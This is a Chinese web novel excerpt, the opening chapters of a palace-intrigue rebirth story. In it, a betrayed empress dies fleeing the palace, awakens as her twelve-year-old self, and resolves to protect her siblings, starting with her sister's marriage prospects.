《我渣过的昏君重生了》 1. 第一章 《我渣过的昏君重生了》全本免费阅读 永宣四年十月,入秋的时候连着几日下雨,天气渐渐阴寒,好不容易放了晴,云散雾消,秋高气爽,让人心情都跟着亮堂起来。 肖稚鱼的心情却好不起来,坐在立政殿外的回廊上,看着不远处凋敝的花枝草木。外面突然响起脚步铿锵,甲胄摩擦的声音,大将军杨杲走入宫中,他一路摘了盔甲,露出浓眉凤目,棱角分明的一张脸,脚下踩过零落的枯叶,大步来到廊前,“稚鱼。” 一旁侍立的宫人听见外臣直呼皇后的闺名,身形纹丝不动,连表情都没变一下。 肖稚鱼被杨杲伸手搀扶起来,抬眼朝他看来,“外面如何了?” 杨杲面色略黯,道:“陛下带着勤王大军已至京畿,若不称降,不出三日就他们就要攻城了。” 肖稚鱼面色微白,唇轻轻发抖,“他若入城,必先杀我。” 杨杲心疼不已,只见她眼角泪水滚落,从美玉无瑕的脸颊肌肤划过,顺着精致小巧的下巴滴下,蘸湿了胸前一小片衣襟。 杨杲心想,如此美人,便是做错事也让人生怜,坏就坏在皇帝逃离长安前已下了诏书封肖稚鱼为后,一年前齐王叛乱杀入宫中,旁的美人杀了不少,却留下肖稚鱼性命,冒天下之大不韪占了这位皇后,也就是他的皇嫂。 后来军中不平,杨杲起事,趁夜带兵逼入宫中,囚了齐王,将肖稚鱼夺了过来。 立于权力之巅,身旁美人相伴——哪个男人不为之迷醉。只是外间传言难听,说皇后三易其夫,还说红颜祸水,齐王造反全是为了她。杨杲心中念头一转,目光沉毅坚定,握着肖稚鱼的手道:“齐王谋逆,你也深受其祸,如何能怪罪到你身上,陛下若非要取你性命,我愿以命相抵。” 肖稚鱼双眸微湿,垂了眼,轻唤一声“杨郎。” 杨杲道:“齐王之乱是我平定,怎么也算份功劳,等陛下回来,我便以这份功劳换赏,别的不求,只要饶得你性命,日后就算没有高官厚禄,我们去乡间做一对寻常夫妻,此生也算满足。” 肖稚鱼不由动容,依偎在他的怀里,身段柔软,玲珑曼妙。杨杲在她耳旁说了许多话,有诉衷情的,也有赌咒发誓定要护住她的。等到侍卫来催,他这才依依不舍离开。 眼看着杨杲背影走远,肖稚鱼回到殿内,唤来心腹婢女岁红,脸上已没有半点羞怯情深的模样,她压低声音道:“杨杲要害我。” 岁红瞪大眼,道:“杨将军对娘娘一往情深,便是多落几根头发他都心疼,怎会……” 肖稚鱼却撇了下嘴角,“这两年宫中那么多事,你还没瞧出来,什么狗屁的山盟海誓,情深如许,全不及自己荣华富贵身家性命。” 岁红服侍肖稚鱼几年,听她骂出狗屁这等粗俗字眼,知道她是气急了,咋舌道:“可杨将军方才还说要以命相抵保全娘娘。” “那是要稳住我呢,前些日子还叫着昏君,这两日却已经改口称陛下了,”肖稚鱼道,“杨杲根基浅薄,不能服众,扳倒齐王折腾快半年了,依旧稳不住局势,他难以自立,眼看昏君又杀回来,只好俯首称臣,昏君最恨的是齐王,最厌烦的则是我,杨杲想要卖个好,自然是将我与齐王一并交出。” 岁红越听越是胆寒,“这可如何是好?” 肖稚鱼问:“让你备着的东西呢?” 岁红道:“都收拾好了,就在寝殿里。” 肖稚鱼点了点头,将殿外的宫人叫进来,做出愁闷不乐的样子,让众人陪着说笑解闷,宫人们也听说皇帝带兵杀回来的消息,一个个都战战兢兢,哪里能说出好玩的笑话,主仆心不在焉地打发时间。入夜,肖稚鱼和岁红都换了一身内侍衣裳,腰配令牌,她对着铜镜左右照看,见并无太过显眼之处,又将一串金珠揣入袖中。 岁红道:“是不是该多带些财物?” 肖稚鱼摇了摇头:“什么都不及性命重要,带多了累赘,快走吧。” 外面的宫人早被肖稚鱼差使开,两人悄无声息从殿中离开,到了殿外,就见有外面看守的宿卫多了好几个,肖稚鱼心头一沉,微垂了脸,双手交叉在袖中,像寻常宫人那样垂着肩走动。禁卫扫了一眼过来,见两人穿着举止,又在她们腰间令牌宫绦打量几眼,移了开去。 自齐王作乱,入宫时杀了一大批内侍宫婢,皇后身边也折了不少旧人,只能调用一些年少的内侍,在立政殿进出,宿卫也不觉得奇怪。 岁红离了立政殿,长出一口气,抹了抹额上的汗,问下一步该去哪里。 肖稚鱼打量四周,很快辨明方向,指着北面说,“朝那个方向。” 天色漆黑,宫中几处殿室亮着灯,其余地方灯火稀少,倒是方便肖稚鱼与岁红走动,她们选择宫苑中偏僻小径,一路有惊无险来到宫禁北门。此处有一道偏门,日常由内侍宫婢进出宫掖,也是宫中采买运输物资的通道。离得近了,只见宫门前守着一队宿卫,皆着戎装,腰佩长剑,目光湛湛望着周围,显见十分警觉。 岁红又冒出虚汗,扭头看向肖稚鱼。 “再等等。”肖稚鱼拉着岁红,一起躲在一块背着灯火的假山石后。 她的目光在守门的宿卫脸上逐一扫过,心突突地跳着,只是脸上强作镇定——这是她最后一步棋。无论是齐王,还是杨杲,她都无法真正将性命相托,趁着宫中混乱的时候,她早就看中了看守宫禁北门的一个守将。多次暗地拉拢,又让心腹太医救下他病重老母,恩威并施,这才在北门留下一条后路。 等了半个多时辰,夜风寒峭,肖稚鱼手脚发凉,几乎有些麻木之时,这才见着宿卫换值,她见着熟悉的那张脸,心中大石落了一半,她让岁红等着,自己从大石后走出。岁红大急,拉住她的衣摆,“人心难测,还是我去吧。” 肖稚鱼道:“当初与他言明只认我 2. 第二章 《我渣过的昏君重生了》全本免费阅读 杨杲不自然的神色一闪而逝,依旧挂着温和的笑,道:“白天还好好的,怎突然有了这么大的气性,莫非是有人在你面前说些什么,娘娘也不想一想,自从我来到宫里,哪件事不曾听娘娘的,纵万夫所指也在所不惜。” 肖稚鱼面上冷笑,“所以外面传我的名声比你要恶上十倍。” 杨杲道:“管外面那些是是非非做什么,稚鱼,难道这些日子你待我的情意都是假的?” 他神色诚恳,看过来的目光有些伤感,肖稚鱼却扑哧乐出了声,暗骂一声虚伪。剑锋微微抖动,反射的银光也跟着摇晃。杨杲突然伸手朝她握着剑柄的手抓去。 肖稚鱼早有提防,但奈何是个柔弱女子,往后躲避时不及他动作迅猛,还是被擒个正着。杨杲行伍出身,一身武艺非凡,手掌稍用力,便如铁钳般,肖稚鱼被抓着几乎无法动弹。 杨杲将剑夺下,扔在地上,凑近在她耳边轻语:“我心里有你——真的,若陛下未能带大军归朝,我也想与你长久相伴。将你交与陛下,我心如刀割一般,可天意不尽如人意,只我一条命就算了,还有跟着我的将士军户,他们跟着我犯险,我如何能看着他们丢了性命。稚鱼,你与陛下到底夫妻一场,说不定陛下一时心软,会留下你的性命。” 肖稚鱼定定看着他,目光却透着一丝怜悯,“你以为将齐王与我交出去,昏君就能饶了你的命?笑话。难怪外间会那般传你。” 杨杲抓着她,此刻离得极近,看着她一张芙蓉面,肌肤如玉细腻剔透,听她语气讥讽也不动怒,反而颇有风度地问:“哦?传我什么?” 肖稚鱼喟然,“排兵布阵全不行,蝇营狗苟争头名。” 杨杲勃然大怒,手猛地一掼,将她摔在地上,脸上半点温情也无,喝道:“请娘娘快些回宫。” 当即就有两个宿卫上前,左右抓着肖稚鱼的肩,动作粗鲁将她提了起来。肖稚鱼刚才被杨杲摔地重,腰背皆刺痛,此刻被宿卫抓着,倒抽一口凉气。杨杲却撇过头去,眉宇间一片漠然。 肖稚鱼被宿卫押走,她走得慢,宿卫也不敢如何大力推搡。才离开城门,外面忽然传来一阵震动,仿佛如滚雷般,渐行渐近。 杨杲骤然变色,一声“不好”脱口而出。 宿卫具是露出慌乱神色。杨杲命左右示警,将宿卫守军调来,带着几个宿卫拔腿就往城墙台阶走去。 肖稚鱼冷眼旁观,听几人交谈,知道外面是大军行进的声音,只片刻功夫,那声音已潮水似的逼近,兵士齐声高喊着“开门迎驾,陛下回宫”,那声音穿破黑夜,透过城墙,让阖宫上下都听得清楚分明。 宿卫全乱了,不知所措。 杨杲站在墙头上,脸色煞白,他算着日子,大军该在两三日后抵达,却不想今夜就已到了宫外。避开他的耳目,进城都没让他知晓——可见城中早有官员与皇帝联系。 杨杲心头烦躁,却不得不尽快做出决定。 他没有过多犹豫,当即跪倒对着墙外叩首,拔高声音道:“迎陛下回宫。”又吩咐将士“速开城门”。 肖稚鱼站在不远处,看着宿卫纷纷奔向城门,心中最后一丝侥幸也没了,宿卫此刻已顾不上她。宽阔沉重的城门在一阵令人肉酸的嘎吱声中缓缓洞开,露出外面黑压压齐集的军士。 几匹快骑奔入宫中,肖稚鱼一个激灵,抬脚就往回跑。 昏君回来,她必死无疑,心中明白躲不过,可能多活一刻总是好的。 肖稚鱼健步如飞,刚要逃到山石后,耳边恍惚听见身后有道破空声,突如其来的剧痛从背脊穿透到胸前,她站住脚,眼泪滴落——早已是注定的结局,为何还是感到悲伤。 —— “小鱼儿。” 肖稚鱼猛然睁开眼,怔怔看着上头青色的床帐,素色料子,顶上破了个洞,勾起她一段尘封已久的记忆,肖稚鱼不知想起了什么,呆愣不动。有一只手突然搭在她的额上,清脆的声音响起, 3. 第三章 《我渣过的昏君重生了》全本免费阅读 见幼妹先是哭得稀里哗啦的,突然间又放声大笑,肖如英是真慌了,忙伸手拍着肖稚鱼的背,一个劲地问“怎么了?” 肖稚鱼还记得在城门下背后中箭的痛苦,昏睡过来居然又重获新生,这大起大落大悲大喜的滋味,实在难以与外人道,就算是至亲骨肉也是一样。肖稚鱼笑了一阵,心情逐渐平复,伸手抹了抹脸上的泪,道:“阿姐,我渴。” 肖如英忙倒了一杯水来,喂她喝下。 肖稚鱼喉咙里干发痒,喝水却仍是慢条斯理的,这也是前世在宫中教养多年养成的习惯。 肖如英瞧着感觉有几分新鲜,幼妹本就生得玉雪精致,现在一举一动更见优雅,观之悦目。她揉揉肖稚鱼的头,道:“刚才是怎么了,和阿姐说说。” 肖稚鱼轻轻摇头,道:“做了个噩梦,实在吓人。” 肖如英放下茶碗,掀开被子躺了上去,睡在肖稚鱼身侧。她比稚鱼年长五岁,今年虚岁十七,前几日长兄肖思齐外出拜访师长,家中只剩下姐妹两个和婢女潮落,肖如英不放心,搬来幼妹屋中同睡,到了夜半肖稚鱼睡梦中苦恼将她惊醒。 肖如英掖着被子,将肖稚鱼塞地严严实实的,又轻拍了两下,哄着道:“有阿姐在呢,什么都不怕。” 肖稚鱼躺着睡不着,又盯着床帐上的破洞看,死后逃生的感觉仍在,她看着这个记忆中的小洞都觉得亲切。 肖如英顺着她目光看去,道:“再等等,阿兄那里月底如有结余,就给你换顶帐子。” “阿姐不必如此,阿兄正是需要应酬走动的时候,家中银钱应先紧着他用。” 肖如英瞪圆了眼,忍不住摸她的脸,“你……这是怎么了?” 家中兄妹三人,靠着微薄家业,过得不算富裕,但稚鱼在兄姐精心照顾下长大,不知生计艰难,有几分稚气骄纵,时常撒娇讨要新衣裳和用物,今夜突然说出这样懂事的话,让肖如英又喜又惊。 肖稚鱼抱住肖如英的手臂,道:“一顶帐子算什么,日后我让姐姐用鲛纱金丝帐,珍珠为坠,赤金为勾。” 肖如英在她额头上一点,“也不知哪里听来的,拿来卖舌。” 肖稚鱼笑了笑,阿姐自是不知,再过几年她还真有这么一顶鲛纱金丝帐,奢华之名传遍都城。可见世事难料——肖家既会经历富贵泼天,转眼又家破人亡。 说起他们这一支肖氏,起源东郡。本朝已废弃前朝之法,不再以士庶定籍,但旧法虽除,旧习却难改,各地豪强士族仍以出身论人。肖氏祖上也是士族出身,家中收有不少书籍字画,肖氏在东郡家世不显,是士族末流。肖稚鱼的父母早年感染疫病而亡,长兄肖思齐支撑门楣,带着姐妹两还有仆从三人从族中分出来,到登丰县定居。 登丰县靠近都城洛阳,地产丰饶,人物秀丽,容易进学。本地有林姓大族,肖思齐当日迁来之时上门拜访过林家,不知谈妥什么,从此肖家三人托庇在林家之下,在此处安家。原本相安无事,大家族照顾落魄士族之后也算一段佳话。 但几年过去,肖如英到了豆蔻之年,貌美之名远扬周里,林氏年轻子弟经常结伴来到肖家附近转悠。这些人自视甚高,又觉得肖家受林家庇护,便低了一等,时常说些轻佻话来撩拨。肖如英自幼照顾家中,性子刚强泼辣,不受那些林氏子弟的闲气,偶尔还会告到林家长辈面前去。林家一向自诩家风清正,自然要严管。如此以来,那些林家子不敢明面上放肆,但背后弄一些事却是不少。 肖稚鱼搜肠刮肚,终于想起,应该是那些林家子又来肖家附近,见她年幼标致,看起来又不如肖如英那般强硬,便说要将她买去家中做奴婢。 肖稚鱼想起这段往事,心中冷笑。林氏这样县中家族实在算不了什么。日后洛阳长安的那几家门阀才叫厉害,她与兄长姐姐不知吃了多少亏才在都城中立足。前世肖家才有起色,朝廷就起了动乱,齐王造反,她的兄长为了她这位皇后奔走,死在去调兵的途中,她的阿姐,在齐王入京那日被乱兵所害。 双目微红,一股泪意又涌上来,肖稚鱼将这股伤痛强压下去,暗自赌咒发誓,绝不会让这些祸事重演。她在城下被捉住之时,自知已是绝路一条,但现在重活一世,就是她气数未尽。 把眼泪咽回去,肖稚鱼在心中对自己说,这些血泪,迟早要让那些辱过她弃过她害过她的人流。 肖如英轻轻哼着小调,肖稚鱼感觉到久违的安心,渐渐睡了过去,这晚她睡得沉,肖如英也没叫她。一直到日上三竿,肖稚鱼才转醒过来。婢女潮落端了水进来,给她梳洗,手脚麻利地将肖稚鱼地头发盘成双髻,从镜匣中拿出一对梅花簪,分别插在髻上。 潮落打量肖稚鱼,满意点头,然后牵着她到外面用饭。 等吃完早饭,肖稚鱼坐到书案前,拿着墨研,然后提笔写字。 潮落是家中唯一的婢女,自幼就在肖家,她好奇地看着肖稚鱼,平常都是肖思齐严压下,肖稚鱼才会去看书练字,现在肖思齐不在,肖稚鱼居然这么乖,主动练字,让潮落极为意外。 可惜她不识字,并不知肖稚鱼写的是人名,一连串,到最后几行,是罗贤,杨杲…… 肖稚鱼提笔蘸墨,最后又写下李承铭,李承秉。她低头看着这些名字,片刻过后,抬手将纸笺撕得粉碎。潮落见状阻拦不及,惋惜道:“写得好好的,何必撕了,留给阿郎看多好。” 肖稚鱼将那些名字写下,只是怕时间长了会忘记,日后每隔一段日子,她都要把这些名字重复记忆,不能错漏一个。肖稚鱼抹了摸胸口位置,皱起眉头,那晚的箭,不知是谁所放,但利害关系总脱不了那几个。 “幺娘,你想什么呢?”潮落问。 肖稚鱼回过神来, 4. 第四章 《我渣过的昏君重生了》全本免费阅读 肖如英和潮落很快做好饭,一盘肉片,两盘蒸菜,还有什锦汤。肖稚鱼姐妹坐下用饭,潮落则将饭菜单独分了两份出来,去找蒋叔一起吃。蒋叔是潮生潮落兄妹的叔父,当初肖家搬到这里,只有他们叔侄三人跟着。蒋叔看家护院,潮生跟着肖思齐,潮落则照顾如英稚鱼两姐妹。 肖稚鱼想着郭家的事,没吃几口就放下筷子。肖如英盛了碗汤放到她面前,口中劝着多吃点。 “阿姐,郭家的人你可曾见过?这次要来的又是谁?” 肖稚鱼刚才想了许久,也没记起来肖如英是如何嫁去郑县郭家,前世这个时候她才十二,家中有什么事兄长与姐姐也不会特意与她商量。等到三年后肖如英被郭家休弃,肖稚鱼就记得很清楚,回到家中的阿姐消瘦憔悴,大病一场,等病好后连性子都变了许多。 那时她将要入豫王府,日日都要学规矩,身边总有人看着,姐妹两个连贴己话都说不了几句。等豫王登基为帝,她好不容易在宫中立足,向皇帝讨恩典阿姐接入都城。哪知皇帝听了却冷笑,道:“你阿姐的名声我倒听过,倩妆盈巷,轻狂放浪,所作作为让人羞于启齿,你若珍惜脸面,这话永远休提。” 肖稚鱼被他训斥一顿,托人私下打听,才知肖如英在家中这些年,与当地几位士族郎君过从甚密,还有富商才子也有往来,家中日日宾客盈门,笙歌达旦。 听了这些,肖稚鱼不嫌弃阿姐的名声,只是为她心疼。又等了两年,她还是派人将阿姐接入都城,姐妹两个见着一面,肖稚鱼这才知道,肖如英在郭家流过两胎,伤了身子,再难生育。而她之所以落胎,一回是撞见郑家二郎与婢女私情,第二回则是被家中妾室算计。 等大夫为她诊断再无怀胎的可能后,郑家又很快为二郎相中另一家士族女郎。肖如英被休弃后曾相看过不少人,却也没遇着合心意的,她经过郑家的事,心灰意冷,也干脆就想开了,寂寞时召人来相聚饮酒作乐,偶尔也与年轻士子亲热。 那时肖如英红着眼道:“阿兄说你将要为后,我这般作为让你蒙羞,我已想明白了,这回来了,就找个姑子庙清修,省得叫你为难。” 肖稚鱼拉着她的手道:“阿姐从小照顾我,我熬到今日,不能让阿姐过得畅意些也就算了,怎能要你为我去姑子庙苦修。外面的那些人,你做的事让他们看不惯,便要骂你辱你,但只要站得足够高,他们反而会羡慕你夸你。阿姐,等着瞧吧,等我成了皇后,定要为你谋一纸封夫人的诏书。” 肖如英抬手在肖稚鱼面前晃了两下,道:“怎么喝汤都发起了呆?你这两日到底怎么了?刚才听潮落说你还练字来着,真是太阳打西边出来了。” 肖稚鱼从记忆中回过神,笑了一下,将剩下小半碗汤喝了,想起刚才问的事,“阿姐到底认不认识郭家的人?” 肖如英道:“刚才和你说的全没听进去,不认识,我也没去过郑县,如何能认识郭家的人。” 肖稚鱼又问:“阿兄什么时候回来?” “快了,算算日子应该再过两三日吧。” 肖稚鱼心中有计较,定要阻止阿姐与郭家的婚事,这事要等肖思齐来才能做主。 过了两日,肖稚鱼在门前张望,肖如英见状逗她,“以前阿兄不在,你不是最高兴的?说没人管着看着了。” 肖稚鱼道:“我已经懂事了,知道有人管着看着才是件好事呢。” 肖如英扑哧笑出声,又觉得这两日幼妹真是好像懂事不少,也更爱娇,晚上睡觉时抱着她的胳膊不撒手,睡久了半个身体都有些麻。 肖稚鱼这时看见一匹乡间小路上出现熟悉的人影,身形如松,长身玉立。 “阿兄。”肖稚鱼重新活过来这几日很快就熟悉了周遭,但见着兄长缓步走来,心情仍是抑制不住地激动。 肖思齐稍稍加快了步伐,潮生背着一个包袱紧跟在后。 5. 第五章 《我渣过的昏君重生了》全本免费阅读 是夜,天色漆黑,秋风如诉,如钩新月将将挂在树梢之上。 潮落起来如厕,经过庭院时见书房的灯火未熄,门前站着个黑影,她吓了一跳,揉揉眼再细看,个头不高,身量纤巧,正是肖稚鱼。潮落走过去,正要拍她肩膀唤一声幺娘。肖稚鱼却先侧过脸来,抬手做了个噤声的手势,摆摆手,让潮落站她身后。 肖稚鱼耳朵紧贴门扉,万籁俱静中,肖思齐的声音清楚传出来:“……这次访师所获颇丰,路上还遇到族兄,他代传口信,说伯母经常念着你,想要接你回去小住,你怎么想?” 今日吃晚饭的时候,肖稚鱼听肖思齐让肖如英到书房来,就猜到他们要说家中事,便有意过来听一听。肖思齐提起的族兄伯母是肖家另一支,但自从他们兄妹三个出来单过,与族中也只维持着年节往来这些表面人情。 肖如英哼了一声道:“这么多年怎么就突然想起我了,说不定又打着什么主意,阿兄直接拒了就是。” “伯母说想你,我如何能代你出面,你回头写封信给伯母客气婉拒就是。” “阿兄做事还是这么顾全脸面,”肖如英道,“阿兄难道忘了,当初从族中分出来时他们是怎么对咱们的?” 肖思齐声如金质,在夜色中尤为沉稳有力,“我当然没忘,今日幺娘说的那句半点没错,该忍时就要忍,摆在明面上的事不能让人揪出错来。” 房中安静了一瞬。肖思齐又道:“我想过了,如今咱们身上可没什么值得别人的图的,唯一值得族里念着的,你如今也十七了。” 肖如英语气恨恨道:“我就知道他们没憋着好,竟还想着算计我的亲事。” “你到了该议亲的时候,咱们兄妹之间不必说外道话,家中没有女眷长辈,议亲时难免有所疏漏……” “就算没有长辈相看,我也更相信阿兄,族里那些倒是长辈,但也各自都有女儿孙女的,真有什么好亲事能想着我?再说,若我回去肖家,被他们安排亲事,这姻亲的好处也全被族里占了,阿兄这里又能落什么好?” 肖思齐道:“其实这两年来找我为你说亲的有不少。” “让我猜猜,可是县里那些个纨绔?”肖如英没半点害羞,他们兄妹早早就出来单过,互相之间说话没有那么多规矩。 “也有林家的人。”肖思齐道。 肖如英一对秀长的柳眉微微蹙起。 “林家四郎,七郎,皆对你有意。” “我却看不上他们,整日招猫逗狗,瞧不出有什么本事,倒是每日寻了由头到咱们家门口转悠,这样的郎君我瞧不上。”肖如英缓缓道,“不求他们如阿兄般刻苦攻读,饱读诗书,便是多几分眼界见识,借祖上蒙荫上进些也好,可惜全没有。” 肖思齐道:“若还有两种选择,富家商户,吃穿不愁,或是家境清苦,有心苦读的,你又怎么想?” “阿兄莫非在考我,两种全不行,嫁去商户,给士族蒙羞,阿兄最多得些钱财,对幺娘日后议亲也有碍,我不信阿兄目光如此短浅。家境清苦,却肯苦读的,这世上多的去了,可真正出头能有几个,我不怕苦熬,只怕熬不出头。” 肖思齐点头道:“我知道了。” 肖如英站起身,却没有立刻走,看了兄长一眼,道:“我还记得小时候家中的日子,使奴唤婢不用说,族中还请了琵琶圣手来教习。如今家道衰微,小鱼儿识字与五音由兄长和我教导,帐子破了她说不用换……我瞧着都觉心酸,既然我到议亲的年纪,不妨趁这个时候好好争一争,阿兄有大才,不输那些名门子弟,只缺了家族助力,若我能入高门,相信用不了多久阿兄很快就会是我的依靠。” 肖思齐道:“你为我和幺娘想,这份心很好,但日子是自己过的,入高门并非你想的那么容易。” “我都明白,”肖如英道,“我如今唯一能拿出去说道的就是士族出身与我自己,不搏这一次,我终究是不甘心。” 潮落捂着嘴打哈欠,里面说的话她听的半懂半不懂,心里还觉得奇怪,肖稚鱼比她还小两岁,莫非她听得懂? 肖稚鱼这时头转过来,拍了下潮落,努嘴示意走了。两人轻手轻脚离开,潮落回去睡觉,肖稚鱼仰头看着月色,小脸愁闷,心想莫非郭家还是阿姐挑的? 第二日她找了个机会与肖如英道:“阿姐精通音律,就没想过如何能琴瑟和鸣?” 肖如英斜她一眼道:“若你说的是音律,要去找个乐师才是。” 肖稚鱼道:“若不只是音律呢?” 肖如英沉默片刻,道:“世上两全其美的事本来就少,我不求两全,只求能实实在在能抓着的。” 肖稚鱼原本藏着一肚子要开解的话不知该如何说,前世今生的事她不敢提,所有的事只能暂时憋着。 过了几日,肖思齐出门一趟回来,将肖如英叫去,道:“郭家有个子弟与我同门读书,他说下月会来一趟登丰县。” 肖如英点头,她前两日去林家时已听过这个消息。 “林家已经在做准备,听说表亲都来了几个,到时候县里为凑热闹,也会叫我们兄妹一起去,”肖思齐正说着,眼角余光忽然瞥到花木后的衣角,眉头一拧道:“幺娘,出来。” 肖稚鱼从一株矮木后钻出来。 肖如英给她掸了掸衣裳,问她为何要躲着。 肖稚鱼没有半点被抓着的羞赧,反而问:“阿兄,来的是那些个郭家子弟,你可清楚?” 肖思齐对她的大胆和直率有些意外,道“郭家人多,来的有好几个。” “你怎么也关心这事来了?”肖如英却是没好气道。 肖稚鱼不能明说,便道:“林家举宴,我也要去。” “你年纪还小,去做什么?” “阿姐一个去太孤单了,我去帮衬阿姐。”肖稚鱼脆生生说着,拉着肖如英的衣袖摇晃。 肖如英对她从来心软的很,只好去看阿兄。 肖思齐招招手,让肖稚鱼到面前,低头认真道:“说实话。” “就是实话,”肖稚鱼道,“我知道阿姐去是为了相看个郎君,我去帮着一起看。” 肖思齐笑了一下,俊秀的脸少了两份老气,仍当她是孩儿心性,要去看个热闹。 肖稚鱼却正色道:“那些郎君若对阿姐有意,在你们面前自然扮得样样都好,我年岁小,别人没有那么重的防心,总能听到和看到些不一样的。” 肖思齐一怔,对上肖稚鱼的眼,真是极漂亮的一双眼,点漆分明,明亮而清澈,能把人全映进去似的。肖思齐突然意识到,这个被他和肖如英呵护保护下的姑娘突然就长大了,一时间心里有些说不出的滋味。 不过他转念一想,又觉释然,外面的人都以为高门大户的女郎养在闺中该是天真不知事。实际上识字音律女工理家都需从小培养。对门阀世家而言,郎君是枝,女郎是叶,枝繁叶茂花团锦簇才能让家族长盛不衰。 “也好,”肖思齐笑着微笑,“看幺娘的眼力如何。” 阿兄同意,肖稚鱼暂时定了心。前世她也是吃了许多亏才知道,一件事要成功,细节尤为重要,只要其中一环出问题,结局就会变得难测。既然她能去郑家,就有更多的机会一探往事究竟。 此后一段日子里,肖思齐应酬不断,没有家族为靠的士族子弟更多需要依仗师长和同窗,这点肖思齐做得很好,他学问出众,又做事周到,在师生同门及邻里间名声极好,因而消息也很灵通。 肖思齐告诉两位妹妹,林家原本宴客的日子突然往后延了一个月,听说是郭家耽误了行程。这对肖家来说倒是件好事,姐妹两个都裁剪了一身新衣裳。肖思齐掌家也并非一昧地省,该用的地方从不吝啬。 肖稚鱼被阿姐唤去试新衣裳,打开一看才发现是一套骑装。前朝士族女郎擅长骑射者不少,风气遗留至今,如今民间风气比前朝更为自由,女子少了诸多拘束,上街举宴骑马等事都是平常。 肖稚鱼换上骑装,肖如英抚掌赞叹,“真是好看。” 潮落也笑嘻嘻的道:“像龙女。” 龙女侍奉观音座前,是极貌美的童女。 肖如英也换上一身骑装,带着肖稚鱼出门。 肖家住在县城以西,出城方便。城郊不到二里有一片平坦开阔的平地,草浅而微黄,肖思齐和潮生各牵着一匹马等着。潮生手里所牵的马高大健壮,四蹄修长。肖思齐手里的则是一匹低矮的小马。 等肖稚鱼走到跟前,肖思齐慢条斯理道:“太原郭家的人要来,听说阵仗颇大,前些日子还派人来问林家附近可有狩猎的地方,你这次既然跟着同去,就需要先学会骑马。” 肖稚鱼这才知道裁身衣裳的原因,不由暗叹阿兄考虑仔细。她前世早就习得骑马,也正是肖思齐所教,现在只不过提前了三年。 肖思齐让她抓住辔绳的一边,说出和前世一模一样的话,“幺娘,别怕,再雄健勇猛的马,只要法子得当,总能驯服,但若是你自己先怕了,就容易被它甩下。” 肖稚鱼被他搀扶上马背,她如今身弱手小,两手抓着辔绳,仍觉得极难控制。她想起前世学骑马整整让阿兄教了半月有余,不由莞尔。 肖思齐牵着马头缓缓走着,让她习惯马上的感觉,还一边说些宽慰的话。他回头一瞧,见肖稚鱼脸上没有畏惧之色,反而含着笑,脸上也不由跟着笑出来,“不怕?” 肖稚鱼道:“阿兄说得对,便是豺狼,手中有箭,也不害怕。” 肖思齐却摇了摇头道:“千金之子,坐不垂堂。豺狼交给可以对付它们的人,你要做的,是把那些人找出来。” 这句话让肖稚鱼想起前世在城门前身死的一刻。她在豫王府三年,入宫两年,所经历的风浪也不少,最后却死在识错人上,终究没能离开宫城。 “怎么了?”肖思齐见她面色微微发白,好奇问道。 肖稚鱼感叹道:“阿兄,识人可太难了。” 肖思齐笑道:“你才多大,朝廷里那些臣子,混迹半生也有识错人的。” 在两人说话的功夫,肖如英骑着马已经跑了两圈回来,她姿势优美,衣袂飘飞,如一道彩云,携着风声来到肖稚鱼身侧不远,“我刚瞧见那边树下似乎站着人。” 6. 第六章 《我渣过的昏君重生了》全本免费阅读 林希真是个眉眼通透的,见状便时不时与肖如英说上几句,未露冷落之意。 这时一个仆妇从外面进来,来到林希真身旁,低声说了两句什么。林希真放下手中茗碗,对厅中众女郎道:“今天来的姐妹多,在小厅坐着气闷,这两日正好院子里的菊花开了,不如一起出去赏玩。” 林家仆妇在前头引路,将众女郎带去庭院。肖稚鱼注意到林希真却说要去更衣,跟着刚才进来的仆妇往后面内堂去了。 她抬头看了眼阿姐。肖如英隐晦地朝她眨了下眼,表示知道情况。两人跟在众女郎之后,来到院子里。林家的庭院山水皆有,靠近一处高约两丈的山石果然种着几株菊,花瓣似金丝,密密扎扎,开得正艳。众女郎见了不由要夸几句。 正赏着花,忽听见不远处有说话声音传来,夹杂着郎朗笑声,听着是年轻男子。众女郎循声看去,只见庭院另一头小厮领着路,后面走来七八个郎君。最小的看着未及弱冠,年纪最长二十出头。 相貌最为出众的,就是肖思齐,面若敷粉,长眉入鬓,端是个美男子。其余人都不如他,不过他穿着一身素色绸袍,也是郎君中最朴素的。 除了兄长,肖稚鱼还认出其中三个,有两个是林家的四郎,七郎,每月总有那么两三日寻着由头到肖家附近转悠。剩下的人里,有个长相极斯文,比起肖思齐稍差一些,见着一群女郎在赏花,他瞥一眼过来,却很快又移开目光,显得有礼克制的,正是郑县郭家二郎——郭世辰。 瞧见他,肖稚鱼心里一股怒意升腾而起,前世阿姐被休弃回到家中憔悴模样,便如同烙印刻在她心里,怎么也忘不去。她偏过脸,见肖如英仍在低头看花,似并未在意从另一条路走过的几个郎君。 其余女郎就没有这么好的养气功夫,议论纷纷。 “前面走着的是林家郎君,其余皆面生。” “我认得那是郑县郭家的郎君,是二郎还是三郎?那两位应该就是太原郭家的吧?果然是名门公子,腰带上的宝石……咳,举止就是气派。” “那位郎君好样貌,不知是哪家的?” 当下男女大防并不严苛,郎君几个缓步走来,到了山石前,朝众女浅浅作揖,女郎们也纷纷回礼。打了个照面,并无闲话,几个郎君便又走了。 众女郎自是又不免小议一番。 穿过院子,来到游廊,几个郎君目光交接,当下便有人忍不住开口问。 “秀堂,刚才赏花女郎里,有个年纪最小的,就是你幼妹吧?” 秀堂是肖思齐的表字,他点了点头。女郎们都是差不多岁数,肖稚鱼站在其中十分显眼。 刚才开口询问的也是郑县郭家的郎君,排行第五,与肖思齐是同窗好友,平日亲近,说话也没那么多忌讳,他咳嗽一声,又道:“你家幼妹身旁,就是你家英娘?” 肖思齐乜他一眼,“英娘也是你叫的?” 郭五郎哈哈笑出声,道:“你阿妹自然也是我阿妹。” 两人说着,其他几个郎君听见,你一句我一句也攀谈起来。刚才别看只是路过,几人早已将庭院中女郎看了个仔细,肖如英身姿样貌皆出挑,比花更娇艳,光彩照人。这些都是年轻郎君,还没练出八风不动的沉稳性子,便一同议论起来。 肖思齐见刚才自恃身份性子颇有几分高傲的太原郭氏两兄弟此刻也主动相询,心下冷笑,脸上却丝毫不露,与众人相谈甚欢。 几人坐下饮了一会儿茶,肖思齐佯作不经意问道:“刚才见那边小院,有侍卫把守,是府中来了什么贵人?” 林家兄弟面露惑色。 肖思齐见状心下更为惊奇,连林家的人都不知道府里来的是什么人。 只有太原郭氏兄弟神色不变,道:“是有位来自都城的贵人,身份不便透露,明日行猎会现身,大家只需知道敬着就行。” 